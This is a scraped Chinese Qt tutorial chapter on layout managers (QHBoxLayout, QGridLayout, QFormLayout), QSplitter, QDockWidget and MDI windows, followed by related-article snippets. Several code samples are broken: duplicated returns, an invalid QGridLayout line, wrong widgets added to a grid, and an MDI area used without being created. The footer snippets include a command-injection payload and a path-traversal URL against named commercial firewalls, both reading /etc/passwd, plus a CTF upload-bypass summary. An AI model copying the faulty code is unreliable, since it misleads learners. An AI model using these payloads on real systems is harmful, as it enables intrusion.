第6 章 布局管理及多窗口技术

news2024/11/18 19:41:04

6.1 控件布局技术

        所谓GUI界面,归根结底,就是一堆可视化控件的叠加。创建一个窗口,把按钮放上面,把图标放上面,这样就成了一个界面。在放置时,控件的位置尤为重要。我们必须指定控件放在哪里,以便窗口能够按照我们需要的方式进行渲染。这就设计控件定位的机制,Qt提供了两种控件定位机制:绝对定位和布局定位。
        绝对定位是一种最原始的定位方法:给出这个控件的坐标和长宽值。这样,Qt就知道该把控件放在哪里以及如何设置控件的大小。这样就带来一个问题是,如果用户改变了窗口大小,例如单击最大化按钮或者使用鼠标拖动窗口边缘,采用绝对定位的空间是不会有任何影响的。这也很自然,因为你并没有告诉Qt,在窗口变化时,窗体控件是否要更新自己以及如何更新。如果希望控件自动更新(就如同微软公司的Word在最大化时总会把稿纸区变大,把工具栏拉长),就要自己编写相应的函数来响应窗户口变化。当然还有更简单地方法:禁止用户改变窗口大小。
        针对这种控件自适应窗口变化的需求,Qt提供了另外一种“布局机制”来解决这个问题。只要把控件放入某一种布局,布局由专门的布局管理器管理。当需要调整空间大小或者位置时,Qt使用相应的布局管理期自动进行管理。
        Qt通过一些类实现布局管理,包括QHBoxLayout、QVBoxLayout、QGridLayout和QFormLayout。这些类型继承自QLayout,但QLayout并非继承自QWidget,而是直接派生于QObject。他们负责窗体中控件的布局管理。上述4个类的作用如下:
        1 QHBoxLayout,配置widget控件成横向一行
        2 QVBoxLayout,配置widget控件成垂直一列
        3 QGridLayout,配置widget控件按照平面网格排列。
        4 QFormLayout,配置widget控件用于表单布局。
设计界面时,一个布局类的使用过程一般如下
(1)创建各个控件
(2)定义一个布局类对象
(3)将控件加入布局类对象
(4)在某个窗体上设置该布局

6.1.1 水平布局

        QHBoxLayout用于水平布局
【例6-1】QHBoxLayout的使用
第1步,建立一个基于QWidget类的应用程序。创建时取消UI界面文件
第2步,修改main.cpp

#include "widget.h"
#include <QApplication>
#include<QSpinBox>
#include<QSlider>
#include<QLayout>
int main(int argc, char *argv[])
{
    QApplication a(argc, argv);
    Widget w;
    //添加两个空间
    QSpinBox *spinBox=new QSpinBox(&w);//创建数字按钮
    QSlider*slider=new QSlider(Qt::Horizontal,&w);//创建滑动条
    spinBox->setValue(35);
    slider->setValue(50);
    //创建布局对象,将空间加入其中
    QHBoxLayout *layout=new QHBoxLayout;
    layout->addWidget(spinBox);
    layout->addWidget(slider);
    w.setLayout(layout);//窗体设置layout
    w.show();
    return a.exec();

    return a.exec();
}

编译运行,得到下图所示的效果。可以看出,SpinBox和Slider两个空间是水平排列的。当窗体拉大时,Slider控件被拉长。控件的高度没有变,SpinBox的宽度也没有变。这是Qt智能拉伸控件的结果,系统认为滑动条应优先拉伸。
        如果界面中只有一个SpinBox,那么当窗口拉大时,SpinBox也会横向拉长。同理,如果将例6-1中的SpinBox换成Button,当窗体拉大时仍然只有Slider被拉宽。但是当水平布局中有若干个按钮时,当窗体拉大,每个按钮都会同时被拉长。

6.1.2 垂直布局

QVBoxLayout用于水平布局
【例6-2】QVBoxLayout的使用
第一步,建立一个基于QWidget类的应用程序。创建时取消UI界面文件
第二步,修改main.cpp
 

#include "widget.h"
#include <QApplication>

int main(int argc, char *argv[])
{
    QApplication a(argc,argv);
    Widget w;
    //创建两个控件
    QLineEdit *LEdit=new QLineEdit("a line text",&w);
    QTextEdit*REdit=new QTextEdit(&w);
    //将控件放入layout对象
    QVBoxLayout *layout=new QVBoxLayout;
    layout->addWidget(LEdit);
    layout->addWidget(REdit);
    w.setLayout(layout);
    w.show();
    return a.exec();
}

从上图可以看出,当窗体被拉大后,多行文本框被智能纵向拉长,并且两个编辑框都很像扩展填满了窗体。

6.1.3 网格布局

QGridLayout用于实现网格布局。网格是m行n列的样式,但是在通常的情况下,每个格子的尺寸是不同的,每个格子的大小受空间自身大小的影响,还可以人为设定行与行点的高度比或者列与列的宽度比。

【例6-3】QGridLayout的基本用法实例

第一步,建立一个基于QDialog的程序,取消UI文件的创建。
第二步,修改main.cpp:

#include "dialog.h"
#include <QApplication>
#include<QGridLayout>
#include<QLabel>
int main(int argc, char *argv[])
{
    QApplication app(argc, argv);
    QString texts[]={"1","2","3","4","5","6","7","8","9"};
    QWidget*window=new QWidget;
    window->setWindowTitle("QGridLayout");
    window->resize(250,100);
    QGridLayout*gridLayout=new QGridLayout;
    gridLayout->setSpacing(2);//设置单元间隔
    gridLayout->setMargin(2);//设置队伍
    for(int i=0,k=0;i<3;i++,k+=3)
    {
        for(int j=0;j<3;j++)
        {
            QLabel *label=new QLabel(texts[k+j]);
            //设定label的显示方式,使其显示的更清楚
            label->setFrameStyle(QFrame::Panel+QFrame::Sunken);
            if(i<2)
                label->setMinimumSize(55,0);
            else
                label->setMinimumSize(55,50);
            label->setAlignment(Qt::AlignCenter);
            gridLayout->addWidget(label,i,j);//添加控件到网格
        }
    }
    //列宽比,第0列与第1列宽度只比为1:2
    gridLayout->setColumnStretch(0,1);
    gridLayout->setColumnStretch(1,2);
    window->setLayout(gridLayout);

    window->show();
    return app.exec();
    return app.exec();
}

编译运行如上图所示,由图可以看出,第2行的高度比较大,因为在程序中设置设置第2行的高度不小于50的结果,使用了如下语句label->setMinimumSize(50,50);当窗体拉大以后,由于每一行的高度都大于50,因此所有行的高度就均匀分布了

但是第0、1两列的宽度比一直是1:2,原因在于设定了宽度比例,语句为
gridLayout->setColumnStretch(0,1);//设定第0列为1
gridLayout->setColumnStretch(1,2);//设定第1列为2
类似的,还可以设定行与行的高度比,可使用下列函数
void QGridLayout::setRowStretch(int row,int stretch),该函数设定第row行的因子为stretch
网格布局中添加的控件在垂直或水平方向上可占据多个单元格,可使用下列函数添加控件:
void addWidget(QWidget*widget,int fromRow,int fromColumn,int rowSpan,int columSpan,Qt::Alignment alignment=0)
该函数将控件widget的左上角放在(fromRow,fromColumn),纵向占据rowSpan个单元,横向跨越columnSpan个单元,rowSpan和columSpan参数智能同时出现或同时忽略,若没有这两个参数,占据一个单元格。

【例6-4】用网格布局构造温度转换程序界面
假定要实现上图所示的界面(其中有7个空间。为了使网格布局实现这一界面,可以将界面划分成4行3列的网格,显然,第0行按钮占据1行3列。第1行左边的标签占据2列,右边的标签占一个单元,下面的摄氏温度标签以及调整温度的滑竿各站2行一列。液晶数字和转盘各占一个单元。于是可以按如下不走编写程序
第一步,建立一个基于QDialog的程序,取消UI文件的创建
第二步,修改dialog.cpp:
 

#include "dialog.h"
#include<QGridLayout>
#include<QLabel>
#include<QPushButton>
#include<QSlider>
#include<QLCDNumber>
#include<QDial>
Dialog::Dialog(QWidget *parent)
    : QDialog(parent)
{
    QPushButton *m_QuitButton=new QPushButton("Quit",this);
    QLabel*m_CenLabel=new QLabel("Centigrade",this);
    QLabel*m_FahLabel=new QLabel("Fahrenheit",this);
//    m_FahLabel->setAlignment(Qt::Alignment);
    QLabel*m_Label=new QLabel("0",this);
    QSlider*m_Slider=new QSlider(this);
    QLCDNumber*m_LCDNumber=new QLCDNumber(this);
    QDial*m_Dial=new QDial(this);
    QGridLayout*layout=new QGridLayout(this);
    layout->setSpacing(10);
    layout->setMargin(20);
    //Quit按钮,起始于(0,0),横跨3个单元格,即colSpan=3
    layout->addWidget(m_QuitButton,0,0,1,3);
    //Centigrade标签,起始于(1,0),横跨2个单元格,即colSpan=2
    layout->addWidget(m_CenLabel,1,0,1,2);
    //Fahrenheit标签,始于(1,2),占一个单元,不设rowSpan和colSpan
    layout->addWidget(m_FahLabel,1,2);
    //"0"标签,起始于(2,0),纵跨2个单元格,rowSpan=2
    layout->addWidget(m_Label,2,0,2,1);
    //滑竿,起始于(2,1),纵跨2个单元格,rowSpan=2
    layout->addWidget(m_Slider,2,1,2,1);
    //液晶数字,起始于(3,2),占用一个单元格
    layout->addWidget(m_LCDNumber,2,2);
    //转盘,起始于(3,2),占用一个单元格
    layout->addWidget(m_Dial,3,2);
    this->setLayout(layout);
}

Dialog::~Dialog()
{

}

6.1.4 表单布局

QFormLayout称为表单布局。这里的表单由两个列组成:第一格列用于显示信息,给与用户同时,一般称为label域;第二个是需要用户输入的,一般称为field域。表单就是由很多label域-field域两项(两列)内容组成的行的布局。label与field是关联的。
        表单布局完全可以使用网格布局实现,是一种多行多列的表格,但表单布局提供了比较完善的策略,其主要有如下优点
(1)自适应不同操作系统,有不同的外观
例如在MacOS X的Aqua截面和Linux的KDE界面中,这种两列结构中的标签应该是右对齐的,而在windows和GNOME界面中这种标签通常是左对齐的。
(2)支持自动换行
如果输入的filed域设定的比较长,则filed域换一行显示,还可以设定filed域总是换一行显示,当然默认的情形时一行显示两个域。
(3)函数接口简单,label和field空间可以直接一对对的插入,使用下面的函数可以在表单布局中一次插入两个控件,即标签和文本框:void addRow(QWidget*label,QWidget*field)
addRow函数在插入一个label和field后,自动将两者设置为伙伴(buddy)关系。而伙伴关系的好处就是,加入label的快捷键是ALT+W,按下快捷键是,输入焦点自动跳到label的伙伴上(即filed上),下面的语句将创建下面的界面

QLineEdit*name=new QLineEdit;
QLineEdit*email=new QLineEdit;
QLineEdit*address=new QLineEdit;
下面的函数将自动创建一个文字为labelText的标签,再将标签、文本框一起插入到表单布局中:
void addRow(const QString &labelText,QWidget*field)
QFormLayout*formLayout=new QFormLayout;
formLayout->addRow(tr("&Name"),name);
formLayout->addRow(tr("&Email"),email);
formLayout->addRow(tr("&Address"),address);
setLayout(formLayout);
这里的"&Name:"中的&符号指明了快捷方式,表明按下ALT+N键就跳转到Name后的编辑框
如果在上述FormLayout的实现代码中添加下列语句:
formLayout->setLabelAlignment(Qt::AlignRight);
则标签文字右对齐。如果在上述FormLayout的实现代码中添加如下语句:
formLayout->setRowWrapPolicy(QFormLayout::WrapAllRows);
如果使用QGridLayout,为了实现上述的截面,需要以下代码:
 

QLineEdit*name=new QLineEdit;
QLineEdit*emial=new QLineEdit;
QLineEdit*address=new QLineEdit;
QLabel*nameLabel=new QLabel(tr("&Name:"));
nameLabel->setBuddy(name);
QLabel*emailLabel=new QLabel(tr("&email:"));
emailLabel->setBuddy(emial);
QLabel*addLabel=new QLabel(tr("&Adress:"));
addLabel->setBuddy(address);
QGridLayout *gridLayout=new QGridLayout=new QGridLayout;
gridLayout->addWidget(nameLabel,0,1);
gridLayout->addWidget(name,0,1);
gridLayout->addWidget(emailLabel,1,0);
gridLayout->addWidget(name,1,1);
gridLayout->addWidget(emailLabel,2,0);
gridLayout->addWidget(name,2,1);
setLayout(gridLayout);

6.1.5 综合布局实例

在做界面设计的时候,就是利用上面几种布局管理器对部件进行组合和排列,同时水平布局、垂直布局和网格布局可以互相嵌套,从而构造比较复杂的截面。

【例6-5】用水平布局和垂直布局构造温度转换程序界面
这里用水平布局和垂直布局相互嵌套的方式实现例6-4中的温度转换器的界面。对于水平布局和垂直布局,都可以利用下列函数将一个将一个布局添加到另一个布局中:
void QBoxLayout::addLayout(QLayout *layout,int stetch=0)
这里参数layout就是被加入的布局。对于网格布局也有类似函数,本例没有使用网格布局,香炉奥杰具体细节可以参照Qt文档
        

考察上图所示截面,共有七个部件(1个PushButton,3个Label,1个Slider,1个LCDNumber和一个Dial),可用下面的方法构建程序界面布局。
        首先,将界面拆分成4个部分,如右图所示
        第一部分是第一行,只有一个PushButton,记作区域1
        第二部分是第二行,是两个水平排列的Label,可以用水平布局管理器将其放在一起,记作区域2.
        第三部分是下方深色区域水平排列的Label和Slider,用于显示和调整温度,也可用水平布局管理器将其放在一起,记作区域3.
        第四部分是垂直排列的LCDNumber和Dial,可以使用垂直布局管理器将其放在一起,记作区域4.
        此后,整个窗体的布局变成自上到下三部分:区域1、区域2、区域A,而且这3个部分是垂直排列的,所以可再用垂直布局管理器江浙3个大部件再次组合。
        至此,利用水平和垂直布局管理器不断嵌套组合的方法,就顺利完成了整个应用程序界面的布局。
        程序实现步骤如下:
第一步,建立一个基于QDialog的程序,取消UI文件的创建
第二步,修改dialog.cpp

#include "dialog.h"
#include<QHBoxLayout>
#include<QVBoxLayout>
#include<QLabel>
#include<QPushButton>
#include<QSlider>
#include<QLCDNumber>
#include<QDial>
Dialog::Dialog(QWidget *parent)
    : QDialog(parent)
{
    QPushButton *m_QuitButton=new QPushButton("Quit",this);
    QLabel*m_CenLabel=new QLabel("Centigrade",this);
    QLabel*m_FahLabel=new QLabel("Fahrenheit",this);
    m_FahLabel->setAlignment(Qt::AlignCenter);
    QLabel*m_Label=new QLabel("0",this);
    QSlider*m_Slider=new QSlider(this);
    QLCDNumber*m_LCDNumber=new QLCDNumber(this);
    QDial *m_Dial=new QDial(this);
    //将两个Label放到水平布局管理器(区域2中)
    QHBoxLayout *layout2=new QHBoxLayout;
    layout2->addWidget(m_CenLabel);
    layout2->addWidget(m_FahLabel);
    //将Label和QSlider放到水平布局管理器(区域3)
    QHBoxLayout *layout3=new QHBoxLayout;
    layout3->addWidget(m_Label);
    layout3->addWidget(m_Slider);
    //将LCDNumber和Dial放到垂直布局管理器(区域4)
    QVBoxLayout *layout4=new QVBoxLayout;
    layout4->addWidget(m_LCDNumber);
    layout4->addWidget(m_Dial);
    //将区域3和区域4放到水平布局管理器(区域A)
    QHBoxLayout *layoutA=new QHBoxLayout;

    layoutA->addLayout(layout3);
    layoutA->addLayout(layout4);
    //将区域1,2,A放到主布局管理器
    QVBoxLayout*layout=new QVBoxLayout;
    layout->addWidget(m_QuitButton);

    layout->addLayout(layout2);
     layout->addLayout(layoutA);
    layout->setSpacing(10);
    layout->setMargin(20);
    this->setLayout(layout);
}

Dialog::~Dialog()
{

}


 

编译运行,程序界面如图所示,可以发现与前面的图很相似,但是任然稍有差别。从前面的讲解中可以知道,利用水平和垂直布局管理器也可以得到比较复杂的截面。但是当界面比较复杂是,需要利用比较多的布局其才能达到最终的效果。布局管理器相互嵌套,如同递归函数一样,作者增加了复杂性。
        与使用水平布局管理器和垂直布局管理器的组合方式相比,使用网格布局管理器只需要消耗一个布局管理器即可完成整个界面的布局。但是这种那个方式的最大缺点是需要实现精确设计好每个部件的位置和占用尺寸,再不见数量比较大的情况下,仅仅网格布局管理器也显得力不重心了。
        所以在做界面布局的时候,可以使用网格布局管理器做整体框架设计,然后在其中填充一些水平或垂直布局管理器或者他们的组合,以达到更好的效果。

6.2 窗口的切分与停靠

6.2.1 使用QSpliter实现分割窗口

        分割窗口在应用程序中经常用到,他可以灵活设计窗口布局,经常用语类似文件资源管理器的窗口设计中。QSpliter控件就是一个可以包含一些其他窗口部件的部件。在QSpliter中的这些窗口部件会通过切分条(Spliter handle)分隔开。用户可以通过拖动这些分隔条改变QSpliter控件子窗口的大小。QSpliter中的子窗口部件将会自动按照创建时的书顺序一个一个的放在一起,并且以窗口分隔条来分割相邻的窗口。

【例6-6】QSpliter使用示例之一
第一步,建立一个基于QMainWindow的程序,取消UI文件的创建
第2步,修改mainwindow.cpp中包含的头文件和构造函数

#include "mainwindow.h"
#include<QSplitter>
#include<QTextEdit>
MainWindow::MainWindow(QWidget *parent)
    : QMainWindow(parent)
{
    //创建主分割窗口,设置为水平分割窗口(左右分割)
   QSplitter *mainSplitter=new QSplitter(Qt::Horizontal);
   //创建一个QTextEdit空间,设置其父控件为mainSplitter
   QTextEdit*leftEdit=new QTextEdit(QObject::tr("左窗口"),mainSplitter);
   //设置QTextEdit中文字的对其方式为居中显示
   leftEdit->setAlignment(Qt::AlignCenter);
   //创建右侧垂直分割(上下分割),设置其父控件为mainSpliter
   QSplitter*rightSplitter=new QSplitter(Qt::Vertical,mainSplitter);
   //设置拖动分隔条时,只显示灰线。拖动到位后在显示分隔条
   rightSplitter->setOpaqueResize(false);
   //设置右侧分割的上下两个窗口内容
   QTextEdit*upEdit=new QTextEdit(QObject::tr("上窗口"),rightSplitter);
   upEdit->setAlignment(Qt::AlignCenter);
   QTextEdit*bottomEdit=new QTextEdit(QObject::tr("下窗口"),rightSplitter);
   bottomEdit->setAlignment(Qt::AlignCenter);
   //设置右窗口为可伸缩控件
   mainSplitter->setStretchFactor(1,1);
   mainSplitter->setWindowTitle(QObject::tr("分割窗口"));
   //将主分割设为中央部件
   setCentralWidget(mainSplitter);
   mainSplitter->show();
}

MainWindow::~MainWindow()
{

}

分隔条可以拖动

在上个例子中,使用了QSplitter构造函数,原型如下:
QSplitter::QSplitter(Qt::Orientation orientation,QWidget*parent=0);
第一个参数通过Qt::Horizontal和Qt::Vertical来设定为水平分割和垂直分割。第二个参数是父窗口指针,0代表无父窗口。因此语句
QSplitter*rightSplitter=new QSplitter(Qt::Vertical,mainSplitter);
就设定了rightSplitter的父组件为mainSplitter,即右侧分割包含在主分割内部。
        函数setOpaqueResize的父组件为mainSplitter。即右侧分割包含在主分割内部。
        函数setOpaqueResize设置拖动时是否实时更新:
rightSplitter->setOpaqueResize(false);
就是在设定拖动分割时只显示一条灰色的线条,当把其中的参数改为true时,则分割将实时更新。
        函数setStretchFactor设置可伸缩控件,下面是程序中该语句的用法:
mainSplitter->setStretchFactor(1,1);
其中第一个参数指定控件序号,该空间序号将插入的先后顺序从0开始变好,第二个参数大于0表示此控件为伸缩空间。此例中设置右侧窗口为伸缩空间。当把窗口向右拉伸后,左边的宽度不变
        QSplitter每次向一个分割区添加一个控件,因此如果有多个控件布置在某个分区,可以将它们先放到一个Widget窗体中,然后将次窗体放入分区。

【例6-7】QSplitter使用示例之二

第一步,建立一个基于QDialog的程序,取消UI文件的创建
第二步,修改main.cpp
 

#include "dialog.h"
#include <QApplication>
#include<QSplitter>
#include<QTextEdit>
int main(int argc, char *argv[])
{
    QApplication a(argc, argv);
    //创建3个编辑框
    QTextEdit*editor1=new QTextEdit;
    QTextEdit*editor2=new QTextEdit;
    QTextEdit*editor3=new QTextEdit;
    QSplitter splitter(Qt::Horizontal);//定义一个切分窗口
    splitter.addWidget(editor1);//将文本空间加入到切分狂
    splitter.addWidget(editor2);
    splitter.addWidget(editor3);
    editor1->setPlainText("One\nTwo\nThree");
    editor2->setPlainText("1\n2\n3");
    editor3->setPlainText("A\nB\nC");
    splitter.setWindowTitle(QObject::tr("Splitter"));



splitter.show();
return a.exec();

    return a.exec();
}

这个例子说明,QSplitter控件并不一定是将主窗口一分为二,而是根据加入的子窗口的数量自动分割,这里加入了3个空间,于是就产生了3个子窗口。

6.2.2 可停靠窗口QDockWidget

在许多程序中,有些窗口可以被拖动到另一个长体重,并合为一体,可以停留在主窗口的上下或左右两侧,还可以浮动在主窗口至上

【例6-8】停靠窗口示例

第一步,建立一个基于QMainWindow的应用,取消UI设计设计界面度选矿的选中状态
第二步,在源文件mainwindow.cpp中编写如下:
 

class MainWindow:public QMainWindow
{
    Q_OBJECT
    //添加组件、函数的定义
    QTextEdit *textEdit;
    QMenu*viewMenu;
    QToolBar*viewToolBar;
public:
    MainWindow(QWidget*parent=0);
    ~MainWindow();

}

第3步,修改mainwindow.cpp文件中的构造函数
 

MainWindow::MainWindow(QWidget *parent)
        : QMainWindow(parent)
    {
    //创建一个QTextEditor控件,作为主窗口
        textEdit=new QTextEdit;
        this->setCentralWidget(textEdit);
        viewMenu=menuBar()->addMenu(tr("视图"));//添加菜单
        viewToolBar=this->addToolBar(tr(" "));//添加工具条
        createDockwidget();//创建停靠窗体
        this->setWindowTitle(tr("停靠窗口"));
    
    }

第4步,修改mainwindow.cpp文件,添加createDockWidget函数的实现:

#include "mainwindow.h"
#include<QTextEdit>
#include<QMenuBar>
#include<QToolBar>
#include<QDockWidget>//包含停靠窗口
#include<QCalendarWidget>
    MainWindow::MainWindow(QWidget *parent)
        : QMainWindow(parent)
    {
    //创建一个QTextEditor控件,作为主窗口
        textEdit=new QTextEdit;
        this->setCentralWidget(textEdit);
        viewMenu=menuBar()->addMenu(tr("视图"));//添加菜单
        viewToolBar=this->addToolBar(tr(" "));//添加工具条
        createDockwidget();//创建停靠窗体
        this->setWindowTitle(tr("停靠窗口"));

    }

    void MainWindow::createDockwidget()
    {

        //设置主窗体的第一个QDockWidget
        QDockWidget*dock=new QDockWidget(this);
        //设置dock窗口的名称
        dock->setWindowTitle(tr("日期"));
        //设置dock的可停靠区域,全部可停靠
        dock->setAllowedAreas(Qt::AllDockWidgetAreas);
        //设置dock内的控件
        QCalendarWidget*calendar=new QCalendarWidget;
        //将日历控件设置为dock的主空间
        dock->setWidget(calendar);
        //向主窗体中添加dock的第一个参数,表示初始化
        //第二个参数是要添加的QDock控件
        this->addDockWidget(Qt::RightDockWidgetArea,dock);
        //向菜单和工具栏中添加显示和隐藏dock窗口的动作
        viewMenu->addAction(dock->toggleViewAction());
        viewToolBar->addAction(dock->toggleViewAction());
    }

编译运行如上,这里停靠窗口可以移动到左右上下各个位置,并且停靠窗口还可以脱离主窗口(处于浮动状态)
        停靠窗口QDockWidget的函数setAllowedAreas用于设定窗体的停靠区域,使得参数可以取以下的值
Qt::LeftDockWidgetArea,停靠在左侧
Qt::RightDockWidgetArea,停靠在右侧
Qt::TopDockWidgetArea,停靠在顶部
Qt::BottonDockWidgetArea,停靠在底部
Qt::AllDockWidgetAreas,可停靠在任何位置

6.3 多文档界面应用程序

使用Qt编写多文档界面(MDI)的应用主要会用到QMdiArea和QMidSubWindow两个类。

1 QMdiArea

这个类相当于一个MDI窗口管理器,用来管理添加到这个区域中的多个子窗口。在应用中新建的所有子窗口需要通过addSubWindow的中央部件,但是,也可以将它添加到任意的不居中。下面的代码就是将其添加到中央部件:
QMainWindow *mainWindow=new QMianWindow;
mainWindow->SetCentralWidget(mdiArea);

2 QMdiSubWindow

这个类继承自QWidget,主要用来创建MDI子窗体实例。然后,可以通过调用QMdiArea的addSubWindow方法将新建的子窗体实例添加到多文档界面区域。也可以不用QMdiSubWindow类来创建子窗体,而直接使用继承自QWidget的类,例如下面的代码
void MainWindow::actNewWindow()
{
QLabel*label=new QLabel;
m_mdiArea->addSubWindow(label);
}

不过,如果使用QMdiSubWindow类,就可以使用其提供的一些便捷的成员函数,下面给出一段实例代码
void MainWindow::actNewWindow()
{
QLabel*label=new QLabel;
QMdiSubWindow*subWin=new QMdiSubWindow;
subWin->setWidget(label);
subWin->setAttribute(Qt::WA_DeleteOnClose);
m_mdiArea->addSubWindow(suWin);
subWin->show();
}

这里设置的Qt::WA_DeleletOnClose的作用是,当关闭子窗口时,不是隐藏窗口,而是测地关闭窗口,回收其占用的资源。

【例6-9】多文档应用示例

第一步,使用Qt向导创建一个QMainWindow应用,并使用UI设计界面
第二步,在UI设计界面中添加文件菜单,并在其下添加一个New菜单栏,用来每次创建一个子窗体,并显示MDI区域
第三步,在mainwindow.h中添加头文件#include<QMdiArea>

同时在mainwindow.h中添加下面的变量
QMdiArea *m_mdiArea;

再添加槽函数的定义void actNewWindow();
第四步,修改mainwindow.cpp中的构造函数

MainWindow::MainWindow(QWidget *parent) :
    QMainWindow(parent),
    ui(new Ui::MainWindow)
{
    ui->setupUi(this);
    //创建MDI区域
    this->setCentralWidget(m_mdiArea);
    connect(ui->actionNew,SIGNAL(triggered()),this,SLOT(actNewWindow()));
}

第5步,在mainwindow.cpp中添加新建子窗体的槽函数
 

voidMainWindow:: actNewWindow()
    {

        //这里没格子窗体都是一个QLabel部件
        QLabel *label=new QLabel(tr("MDI SubWindow"));
        QMdiSubWindow*subWin=new QMdiSubWindow();
       subWin->setWidget(label);
       subWin->setAttribute(Qt::WA_DeleteOnClose);
       subWin->resize(180,100);
       m_mdiArea->addSubWindow(subWin);
       subWin->show();
    }

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1200148.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

vue3项目常用功能分享

Vue3常用功能分享 本文主要分享一下在使用vue3开发项目时的一些常用功能 一、自动注册全局组件 自动注册components目录下所有vue组件并以组件的文件名为组件的名称 // components/index.tsimport { type App, defineAsyncComponent } from vue const components Object.e…

Leetcode—剑指OfferII LCR 019.验证回文串II【简单】

2023每日刷题&#xff08;二十七&#xff09; Leetcode—剑指OfferII LCR 019.验证回文串II 实现代码 class Solution { public:bool judgeFunc(string s, int left, int right) {while(left < right) {if(s[left] ! s[right]) {return false;}left;right--;}return true;…

【数据结构】拓扑序列求法

概念不多说了&#xff0c;有疑问的搜一下&#xff0c;这里直接放求法&#xff1a; 找到入度为0的节点输出并删除该节点&#xff0c;并删除与该点链接的边重复第一步 例子 输出a&#xff0c;删除a输出b&#xff0c;删除b输出c&#xff0c;删除c 最终结果为abcdef 注意 拓扑排…

WorkPlus IM即时通讯软件:私有化部署、安全加密、信创适配

WorkPlus IM即时通讯软件是一款具备私有化部署、安全加密和信创适配功能的高效沟通工具。下面我们将详细介绍WorkPlus IM的功能和特点。 WorkPlus支持私有化部署&#xff0c;这意味着企业可以完全掌控数据的存储与传输。企业可以选择将该软件部署在自己的本地服务器上&#xff…

文件上传 [ACTF2020 新生赛]Upload1

打开题目&#xff0c;发现是一道文件上传题目 随便上传个一句话木马上去 发现网站前端有白名单限制&#xff0c;只能上传含有jpg&#xff0c;png&#xff0c;gif的后缀文件 最开始我想到的做法是先上传htaccess文件&#xff0c;bp修改文件头&#xff0c;上传成功后然后再上传以…

Linux文件缓冲区

文章目录 1. 缓冲区现象2. 用户级和系统级缓冲区3. 缓冲区刷新4. 为什么要有缓冲区5. 文件打印的全缓冲6. 模拟实现C语言文件标准库 本章gitee代码仓库&#xff1a;重定向、模拟C语言文件标准库 1. 缓冲区现象 我们这里分别调用了4个差不多的函数&#xff0c;但是结果是有一定差…

Sprint Boot 学习路线 5

Spring MVC Spring MVC是Spring框架的一部分&#xff0c;是一个Web应用程序框架。它旨在使用Model-View-Controller&#xff08;MVC&#xff09;设计模式轻松构建Web应用程序。 在Spring MVC中&#xff0c;应用程序被分为三个主要组件&#xff1a;Model、View和Controller。M…

深入理解强化学习——多臂赌博机:知识总结

分类目录&#xff1a;《深入理解强化学习》总目录 我们在《深入理解强化学习——多臂赌博机》系列文章中介绍了几种平衡试探和开发的简单方法。 ϵ − \epsilon- ϵ−贪心方法在一小段时间内进行随机的动作选择&#xff0c;而UCB方法虽然采用确定的动作选择&#xff0c;却可以通…

同一个Unity项目打开两个Unity Editor实例

特殊情况下&#xff0c;同一个项目需要同时打开两个编辑器做测试&#xff0c;如多人在线游戏&#xff0c;或者有通信功能的时候就有这样的需求。同时也为了方便调试和观察日志。并且修改的是同一份代码。 命令介绍&#xff1a; 实现思路&#xff1a; 使用 mklink 命令 分别创建…

Flowable 外部表单

内置表单需要在每个节点中去配置&#xff0c;当如果多个节点使用同一套表单属性就要配置多次比较麻烦&#xff0c;修改的时候也要修改多次&#xff0c;外部表单可以定义一次&#xff0c;然后其它节点都去引用同一个表单属性。 外部表单需要定义一个.form后缀的文件。 外部表单…

快速查看Linux系统占用多的文件夹

背景 租用了一台云服务器&#xff0c;存储很快就满了&#xff0c;想看下哪部分占用多&#xff0c;然后进行清理 工具 使用ncdu工具 sudo apt install ncdu效果

python工具网康下一代防火墙RCE

python漏洞利用​ 构造payload POST /directdata/direct/router HTTP/1.1{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;cat /etc/passwd >/var/www/htm…

【友提】2023年“思维100”编程比赛开始报名,名额有限报名抓紧

根据官方昨天发布的通知&#xff0c;2023年上海市“科学小公民”实践展示活动之“思维100”STEM应用能力编程活动&#xff08;秋季&#xff09;开始报名了&#xff0c;为便于大家了解&#xff0c;六分成长为大家整理关键信息如下。为便于叙述&#xff0c;该活动简称为思维100编…

【Go入门】struct类型

【Go入门】struct类型 struct Go语言中&#xff0c;也和C或者其他语言一样&#xff0c;我们可以声明新的类型&#xff0c;作为其它类型的属性或字段的容器。例如&#xff0c;我们可以创建一个自定义类型person代表一个人的实体。这个实体拥有属性&#xff1a;姓名和年龄。这样…

吃透 Spring 系列—AOP部分

目录 ◆ AOP 简介 - AOP的概念 - AOP思想的实现方案 - 模拟AOP的基础代码 - AOP相关概念 ◆ 基于xml配置的AOP - xml方式AOP快速入门 - xml方式AOP配置详解 - xml方式AOP原理剖析 ◆ 基于注解配置的AOP - 注解方式AOP基本使用 - 注解方式AOP配置详解 - 注解…

【C++】C++的介绍及其发展史

初识C 一、什么是C&#xff0c;为什么会出现C二、C的发展史三、C的重要性3.1 语言的使用广泛度3.2 在工作领域 四、C的学习路径 及 书籍推荐 一、什么是C&#xff0c;为什么会出现C C语言是结构化和模块化的语言&#xff0c;适合处理较小规模的程序。 对于复杂的问题&#xff…

网神下一代极速防火墙任意文件读取漏洞

访问漏洞url&#xff1a; ​​/?gpki_file_download&filename../../../../../etc/passwd漏洞证明&#xff1a; 文笔生疏&#xff0c;措辞浅薄&#xff0c;望各位大佬不吝赐教&#xff0c;万分感谢。 免责声明&#xff1a;由于传播或利用此文所提供的信息、技术或方法而造…

mysql8安装和驱动jar包下载

方式一&#xff1a;基于docker安装 下拉镜像 docker pull mysql:8.0.21 启动镜像 docker run -p 3307:3306 --name mysql -e MYSQL_ROOT_PASSWORDhadoop -d mysql:8.0.21 启动成功后&#xff0c;进入容器内部拷贝配置文件&#xff0c;到宿主主机 docker cp mysql:/etc/mysql…

如何在 Python 中执行 MySQL 结果限制和分页查询

Python MySQL 限制结果 限制结果数量 示例 1: 获取您自己的 Python 服务器 选择 “customers” 表中的前 5 条记录&#xff1a; import mysql.connectormydb mysql.connector.connect(host"localhost",user"您的用户名",password"您的密码"…